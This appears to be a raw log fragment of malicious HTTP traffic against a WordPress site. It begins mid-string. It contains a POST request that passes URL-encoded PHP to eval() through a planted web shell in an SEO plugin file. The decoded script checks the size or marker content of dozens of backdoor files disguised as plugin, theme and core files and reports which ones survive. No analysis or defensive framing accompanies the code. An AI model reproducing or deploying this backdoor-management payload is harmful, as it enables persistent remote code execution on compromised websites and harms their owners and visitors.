Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-includes\/Requests\/src\/Transport\/sector_fighters.php%22%3D%3E%22bd%40%40278425344%40%40941%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Net\/CYEC07_3winners.php%22%3D%3E%22bd%40%40279256584%40%40722%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-length:6753\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nONUzjt=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Rule\/google_analytics.php%22%3D%3E%22bd%40%40287668729%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-includes\/Requests\/src\/Transport\/sector_fighters.php%22%3D%3E%22bd%40%40278425344%40%40941%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Net\/CYEC07_3winners.php%22%3D%3E%22bd%40%40279256584%40%40722%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]